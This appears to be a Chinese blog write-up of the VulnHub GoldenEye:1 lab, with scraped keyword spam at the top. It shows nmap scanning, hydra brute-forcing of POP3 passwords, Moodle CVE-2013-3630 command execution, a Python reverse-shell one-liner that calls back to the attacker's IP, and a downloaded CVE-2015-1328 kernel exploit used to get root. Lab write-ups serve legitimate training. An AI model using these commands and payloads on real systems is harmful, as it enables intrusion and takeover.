网站建设图标,浙江省建设网站徐叨法,保定网站制作策划,做婚恋网站有哪些title: 《VulnHub》GoldenEye#xff1a;1 date: 2024-02-16 14:53:49 updated: 2024-02-16 15:08:49 categories: WriteUp#xff1a;Cyber-Range excerpt: 主机发现、目标信息扫描、源码 js 文件泄露敏感信息、hydra 爆破邮件服务#xff08;pop3#xff09;、邮件泄露敏…
title: 《VulnHub》GoldenEye1 date: 2024-02-16 14:53:49 updated: 2024-02-16 15:08:49 categories: WriteUpCyber-Range excerpt: 主机发现、目标信息扫描、源码 js 文件泄露敏感信息、hydra 爆破邮件服务pop3、邮件泄露敏感信息、ip 与域名映射写进 hosts 文件、whatweb 工具检测网站、图片隐写分析、CVE-2013-3630 漏洞利用、python 反弹 shell、使用 ptyhon 获取 tty、CVE-2015-1328 漏洞利用、kali 本地 exp 库攻击脚本利用。 comments: false tags: top_image: /images/backimg/SunsetClimbing.png VulnHub 1靶场信息2打靶2.1情报收集 威胁建模2.2漏洞分析 渗透攻击2.3后渗透 3总结3.1命令 工具3.2关键技术 VulnHub 打靶记录。 VulnHub 官网https://www.vulnhub.com 攻击机为 Kali-Linux-2023.3-vmware-amd64。 Kali NAT IP192.168.8.15。 1靶场信息
靶场地址 https://www.vulnhub.com/entry/goldeneye-1,240/
2打靶
2.1情报收集 威胁建模
主机发现 nmap 192.168.8.0/24 -sn 可以确定目标 ip192.168.8.137。
进行端口扫描、服务探测、OS 探测 nmap 192.168.8.137 -p- -sC -sV -O
┌──(root㉿kali)-[~]
└─# nmap 192.168.8.137 -p- -sC -sV -O
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 10:43 HKT
Nmap scan report for 192.168.8.137
Host is up (0.00089s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonNameubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after: 2028-04-21T03:22:34
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: GoldenEye Primary Admin Server
|_http-server-header: Apache/2.4.7 (Ubuntu)
55006/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) RESP-CODES USER CAPA AUTH-RESP-CODE PIPELINING TOP UIDL
| ssl-cert: Subject: commonNamelocalhost/organizationNameDovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_ssl-date: TLS randomness does not represent time
55007/tcp open pop3 Dovecot pop3d
| ssl-cert: Subject: commonNamelocalhost/organizationNameDovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_pop3-capabilities: USER CAPA PIPELINING RESP-CODES TOP AUTH-RESP-CODE SASL(PLAIN) UIDL STLS
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:01:85:10 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hopOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.41 seconds先访问 80 端口看看。
给出了一个登录地址。查看源码还可以发现一个 js 文件。 terminal.js 内容如下。 var data [{GoldenEyeText: spanbr/Severnaya Auxiliary Control Stationbr/****TOP SECRET ACCESS****br/Accessing Server Identitybr/Server Name:....................br/GOLDENEYEbr/br/User: UNKNOWNbr/spanNaviagate to /sev-home/ to login/span}
];//
//Boris, make sure you update your default password.
//My sources say MI6 maybe planning to infiltrate.
//Be on the lookout for any suspicious network traffic....
//
//I encoded you pssword below...
//
//#73;#110;#118;#105;#110;#99;#105;#98;#108;#101;#72;#97;#99;#107;#51;#114;
//
//BTW Natalya says she can break your codes
//var allElements document.getElementsByClassName(typeing);
for (var j 0; j allElements.length; j) {var currentElementId allElements[j].id;var currentElementIdContent data[0][currentElementId];var element document.getElementById(currentElementId);var devTypeText currentElementIdContent;var i 0, isTag, text;(function type() {text devTypeText.slice(0, i);if (text devTypeText) return;element.innerHTML text span classblinker#32;/span;var char text.slice(-1);if (char ) isTag true;if (char ) isTag false;if (isTag) return type();setTimeout(type, 60);})();
}访问登录地址。 terminal.js 文件中的 html 编码字符串解密如下 #73;#110;#118;#105;#110;#99;#105;#98;#108;#101;#72;#97;#99;#107;#51;#114;
InvincibleHack3r除此以外从 js 文件中还可以得到两个名字Boris、Natalya。
以此尝试一下登录最终得到用户名与密码
username: boris
password: InvincibleHack3r登录后页面如下提示了可能需要从 pop3 服务入手。 那就尝试爆破一下邮件服务密码。
将要使用的用户名写入文件。 echo -e boris\nnatalya name.txt
使用 hydra 爆破 pop3。 hydra -L name.txt -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3 爆破出了两个账户。
login: boris password: secret1!
login: natalya password: bird接下来可以通过 nc 登录 pop3 查看邮件。
nc -nv 192.168.8.137 55007 # 登录邮箱
user boris # 登录用户
pass secret1! # 登录密码
list # 查看邮件数量
retr 1 # 查看邮件内容接下来查看一下 natalya 用户的邮件。 获得了一个用户信息。
username: xenia
password: RCP90rulez!除此以外获得了一个域名与网址信息。
severnaya-station.com
severnaya-station.com/gnocertdir如果直接用 ip 访问是以下效果 那就将 ip 与域名映射写进 hosts 文件。
192.168.8.137 severnaya-station.comWindows hosts 文件位置C:\Windows\System32\drivers\etc\hosts Linux hosts 文件位置/etc/hosts
再次访问网站 网站 CMS 为 Moodle。
也可以用 whatweb 工具检测 whatweb http://severnaya-station.com/gnocertdir/ 网站需要登录尝试使用以下用户信息登录网站
username: xenia
password: RCP90rulez!查看未读邮件。 这里发现 CMS 为 Moodle 2.2.3。 得到了一个新用户doak
使用 hydra 爆破一下 pop3。 hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3
爆破出用户名与密码 login: doak password: goat通过 nc 登录 pop3 查看邮件。
nc -nv 192.168.8.137 55007 # 登录邮箱
user doak # 登录用户
pass goat # 登录密码
list # 查看邮件数量
retr 1 # 查看邮件内容获得了一个用户信息。
username: dr_doak
password: 4England!用这个用户信息登录进网站 发现一个私人文件下载后查看。 给了一个网址目录 /dir007key/for-007.jpg
访问查看 根据邮件提示检查一下图片先将图片下载。 wget http://severnaya-station.com/dir007key/for-007.jpg
之后可以用以下工具进行分析
binwalk路由逆向分析工具用于获取给定二进制镜像文件嵌入的文件和代码exiftool图虫解析图片 exif 信息strings用于打印文件中可打印字符串ASCII 码 识别出一串 base64 编码
eFdpbnRlcjE5OTV4IQ解码 eFdpbnRlcjE5OTV4IQ
xWinter1995x!根据邮件中提示猜测这是 admin 账户的密码。
尝试登录网站 没有发现什么可以利用的。
那尝试从 CMS 入手。搜索一下 Moodle 2.2.3 的漏洞。 关键字Moodle 2.2.3 poc exp
发现 CVE-2013-3630 漏洞。尝试利用。
漏洞 exp 详情
《Moodle - Remote Command Execution (Metasploit)》 https://www.exploit-db.com/exploits/29324
从 exp 中可以看到需要将拼写检查 google spell 换成 PSpellSHell。 刚好用 admin 登录的 CMS 后台可以进行此设置。 原因是目标主机上不存在 GCC 编译只能 CC 编译所以需要把 Google Spell 改成 PSpellShell。 2.2漏洞分析 渗透攻击
启动 MSF。 msfdb init msfconsole
查找相关漏洞。 search CVE-2013-3630 使用序号为 0 的模块进行渗透。
use 0
show options
set USERNAME admin
set PASSWORD xWinter1995x!
set RHOSTS severnaya-station.com # 设置目标主机
set TARGETURI /gnocertdir # 设置目录为了获得反弹 shell 的会话还需要设置 payload。
set payload cmd/unix/reverse # 使用 cmd/unix/reverse
show options
set lhost 192.168.8.15 # 设置攻击机 ip执行。 好失败了。
查阅资料发现可能是 msf 版本过高问题但也发现了手工利用的方法。 《VulnHub-GoldenEye-1 靶场渗透测试》 https://www.freebuf.com/articles/web/260592.html 开始手工利用漏洞。
在下图所示路径设置中更改为以下 payload python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.15,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);然后在 kali 终端使用 nc 监听相应端口。 nc -lnvp 6666
之后在下图所示路径中新建文章随便输入字符点击 “ Toggle Spellchecker ” 后就会反弹 shell。 目标机安装了 python可以使用 ptyhon 获取 tty不然有些命令无法执行。 python -c import pty; pty.spawn(/bin/bash) teletypewritertty表示终端或终端模拟器。 至此获取了目标机器一个低权限 shell。
2.3后渗透
进行提权。
查看一下系统内核 uname -a 搜索一下相关的内核漏洞。 得到 EDB-ID37292
搜索 kali 本地 exp 库中 37292 攻击脚本信息。 searchsploit 37292 将该文件复制到一个目录中。
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/GoldenEye-1/查看目标机器发现目标没有安装 gcc但安装了 cc。还安装了 wget C 语言用 gcc 编译 .c 文件为可执行文件。可以用 cc 代替编译。 原本的 37292.c 文件使用 gcc需要将第 143 行的 gcc 改为 cc。 在相应目录下开启一个简单的 http 服务便于使目标机器下载相应利用代码。 python3 -m http.server 8088 目标机器中进入 /tmp/ 目录下载。 wget http://192.168.8.15:8088/37292.c 编译并给可执行文件赋权然后执行。
cc -o rootshell 37292.c
chmod x rootshell
./rootshell成功提权至 root。
最后使用 ptyhon 获取 tty。 python -c import pty; pty.spawn(/bin/bash) 完结撒花
3总结
该靶场要点在于对敏感信息泄露的收集。
3.1命令 工具
nmapBurpSuitehydranetcatwhatwebbinwalkexiftoolstringsExploit Database https://www.exploit-db.com/MSFpythonunamesearchsploitccwget
3.2关键技术 主机发现 nmap ip cidr -sn 目标信息扫描端口扫描、服务探测、操作系统探测 nmap target -p- -sC -sV -O 源码 js 文件泄露敏感信息html 编码字符串解密。 hydra 爆破邮件服务pop3 hydra -L name file -P password file target -s port pop3 hydra -l name -P password file target -s port pop3 netcat 登录查看邮件
nc -nv target port # 登录邮箱
user username # 登录用户
pass password # 登录密码
list # 查看邮件数量
retr num # 查看邮件内容邮件泄露敏感信息。 ip 与域名映射写进 hosts 文件。 Windows hosts 文件位置C:\Windows\System32\drivers\etc\hosts Linux hosts 文件位置/etc/hosts whatweb 工具检测网站 whatweb URL wget 下载文件 wget URI 图片隐写分析 binwalk路由逆向分析工具用于获取给定二进制镜像文件嵌入的文件和代码 exiftool图虫解析图片 exif 信息 strings用于打印文件中可打印字符串ASCII 码 CVE-2013-3630 漏洞利用。msf 利用、手工利用 python 反弹 shell
python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.15,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);# 代码解释
import socket,subprocess,os; # 导入 socket、subprocess 和 os 模块
ssocket.socket(socket.AF_INET,socket.SOCK_STREAM); # 创建一个 TCP 套接字
s.connect((ip,port)); # 连接远程主机的 IP 与端口
os.dup2(s.fileno(),0); # 将标准输入重定向到套接字的文件描述符
os.dup2(s.fileno(),1); # 将标准输出重定向到套接字的文件描述符
os.dup2(s.fileno(),2); # 将标准错误重定向到套接字的文件描述符
psubprocess.call([/bin/sh,-i]); # 通过 subprocess 模块调用 /bin/sh并使用 -i 参数以交互模式运行 shell。netcat 监听端口反弹 shell nc -lnvp port 使用 ptyhon 获取 ttyteletypewriter表示终端或终端模拟器 python -c import pty; pty.spawn(/bin/bash) 查看系统内核 uname -a CVE-2015-1328 漏洞利用。EDB-ID37292。 搜索 kali 本地 exp 库中攻击脚本信息 searchsploit ID 在目录下开启一个简单 http 服务 python3 -m http.server port 编译 c 文件并赋权执行。利用系统内核漏洞提权
cc -o filename c file
chmod x filename
./filename人之忌在好为人师。 ——《孟子》战国